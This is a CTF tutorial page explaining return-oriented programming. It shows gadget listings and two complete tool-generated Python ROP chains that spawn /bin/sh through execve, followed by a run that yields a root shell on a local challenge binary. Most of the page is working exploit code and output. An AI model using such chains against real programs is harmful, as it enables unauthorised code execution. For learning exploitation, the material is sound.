> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/return-oriented-programming-rop.md).

# Return Oriented Programming - ROP

**Return Oriented Programming (ROP)** is a technique that allows an attacker to execute arbitrary code in a program by chaining together small fragments of code, known as "**gadgets**", that are **already present in the program's memory.**

{% hint style="info" %}
ROP works by exploiting a vulnerability in the program that allows the attacker to control the program's instruction pointer such as [buffer overflow](/pwn/stack-exploitation/stack-buffer-overflow/instruction-pointer-overwrite.md) or [format string exploit](/pwn/stack-exploitation/format-string/data-modification.md). The attacker can use this control to redirect the instruction pointer to a gadget in the program's memory, and then chain together multiple gadgets to execute arbitrary code.
{% endhint %}

One of the key features of ROP is **that it does not require to inject new code into the program's memory.**. This makes ROP attacks difficult to detect and prevent, as the attacker is not introducing any new code that can be identified and blocked.

## List available gadgets

There is multiple tool that can list available gadget for a binary such as [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) and [ropper](https://github.com/sashs/Ropper)

```bash
$ ROPgadget --binary chall
Gadgets information
============================================================
0x0804912a : adc al, 0x68 ; xor al, 0xc0 ; add al, 8 ; call eax
0x08049052 : adc al, 0xc0 ; add al, 8 ; push 0x10 ; jmp 0x8049020
0x08049042 : adc al, al ; add al, 8 ; push 8 ; jmp 0x8049020
0x08049176 : adc byte ptr [eax + 0x68], dl ; xor al, 0xc0 ; add al, 8 ; call edx
0x08049057 : adc byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x08049134 : adc cl, cl ; ret
...
0x0804912c : xor al, 0xc0 ; add al, 8 ; call eax
0x08049179 : xor al, 0xc0 ; add al, 8 ; call edx
0x08049097 : xor byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8049020
0x080492d9 : xor dword ptr [eax], 0xffffffff ; call dword ptr [eax - 0x18]

Unique gadgets found: 33504
```

{% hint style="info" %}
In order to have a lot of gadget, the binary was compiled using the `-static` parameter.
{% endhint %}

## Chaining gadgets

When a function ends and calls the `RET` instruction, it is actually a `POP EIP` that is performed, followed by a `JMP EIP`. The `POP EIP` takes the value that is on top of the stack and stores it in the `EIP` register. Since this value is controled (using a [Buffer overflow](/pwn/stack-exploitation/stack-buffer-overflow/instruction-pointer-overwrite.md) or [format string exploit](/pwn/stack-exploitation/format-string/data-modification.md) for example), the `JMP EIP` is controled.

So, there is the stack state after a buffer overflow in order to run the rop chain :

```
  address   |   values
------------+-------------------------------------------------------------------
            |   +------------------------- Buffer ---------------------------+
0xffffd264: |   |   0x41414141    0x41414141    0x41414141      0x41414141   |
            |   +------------------------------------------------------------+
            |     +gadget1 addr+ +gadget2 addr+ +gadget2 need+ +gadget3 addr+|
0xffffd274: |     | 0x565561dd | | 0xffffd35c |	| 0xffffd12c | | 0xffffd12c ||
            |     +------------+ +------------+ +------------+ +------------+|
  ...       |    ...
```

When the gagdet 1 return, the process will `POP EIP` and because there is the next gadget address, the process will chain with it.

{% hint style="info" %}
In this example there is a "gadget2 need". This is an example in the case of gadget2 will make a `POP` instruction or any other that need specific value onto the stack.
{% endhint %}

## Generating ROP chain

{% hint style="info" %}
If there is a [syscall](/pwn/general-knowledge/syscall.md) gadget, such as `int 0x80`, there is a notable syscall : **the `execve` syscall**, which executes the program passed in argument.

**`execve`** can be used to call `/bin/sh`.

To do this, a pointer to `/bin/sh` must be passed as parameter (`EBX` in x86 ) and other parameters (`ECX` and `EDX` ix x86) must be populated with 0. This is necessary because both argv and envp must be set to NULL in order to pop a shell.
{% endhint %}

There is multiple tool that can create ROP chain that call an `execve` with available gadget for a binary such as [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) and [ropper](https://github.com/sashs/Ropper)

{% tabs %}
{% tab title="ROPgadget" %}

```bash
$ ROPgadget --binary chall --ropchain --silent

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

	[+] Gadget found: 0x805f0fa mov dword ptr [edx], eax ; ret
	[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret
	[+] Gadget found: 0x80b2166 pop eax ; ret
	[+] Gadget found: 0x804fa90 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

	[+] Gadget found: 0x804fa90 xor eax, eax ; ret
	[+] Gadget found: 0x808b9ba inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

	[+] Gadget found: 0x804901e pop ebx ; ret
	[+] Gadget found: 0x80abca9 pop ecx ; ret
	[+] Gadget found: 0x806573e pop edx ; pop ebx ; pop esi ; ret

- Step 4 -- Syscall gadget

	[+] Gadget found: 0x804a792 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b2166) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0805f0fa) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e8060) # @ .data
p += pack('<I', 0x080abca9) # pop ecx ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x0806573e) # pop edx ; pop ebx ; pop esi ; ret
p += pack('<I', 0x080e8068) # @ .data + 8
p += pack('<I', 0x080e8060) # padding without overwrite ebx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fa90) # xor eax, eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0808b9ba) # inc eax ; ret
p += pack('<I', 0x0804a792) # int 0x80
```

{% endtab %}

{% tab title="ropper" %}

```bash
$ ropper -f chall --chain execve
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO] 
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 677631fb3915ff66f941b00af4c4887e006459261ae493e7e1d50fa721fcca2b
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += '//bi'
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0060)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += 'n/sh'
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0064)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += p(0x00000000)
rop += rebase_0(0x0001d73e) # 0x0806573e: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x000a0068)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000170fa) # 0x0805f0fa: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x000a0060)
rop += rebase_0(0x00063ca9) # 0x080abca9: pop ecx; ret; 
rop += rebase_0(0x000a0068)
rop += rebase_0(0x000539e5) # 0x0809b9e5: pop edx; xor eax, eax; pop edi; ret; 
rop += rebase_0(0x000a0068)
rop += p(0xdeadbeef)
rop += rebase_0(0x0006a166) # 0x080b2166: pop eax; ret; 
rop += p(0x0000000b)
rop += rebase_0(0x00034db0) # 0x0807cdb0: int 0x80; ret; 
print(rop)
[INFO] rop chain generated!
```

{% endtab %}
{% endtabs %}

```
$ python3 rop.py 
[+] Starting local process './chall': pid 236981
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
```

## Resources

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming>" %}

{% embed url="<https://ctf101.org/binary-exploitation/return-oriented-programming/>" %}

{% embed url="<https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/gadgets>" %}

{% embed url="<https://beta.hackndo.com/return-oriented-programming/>" %}
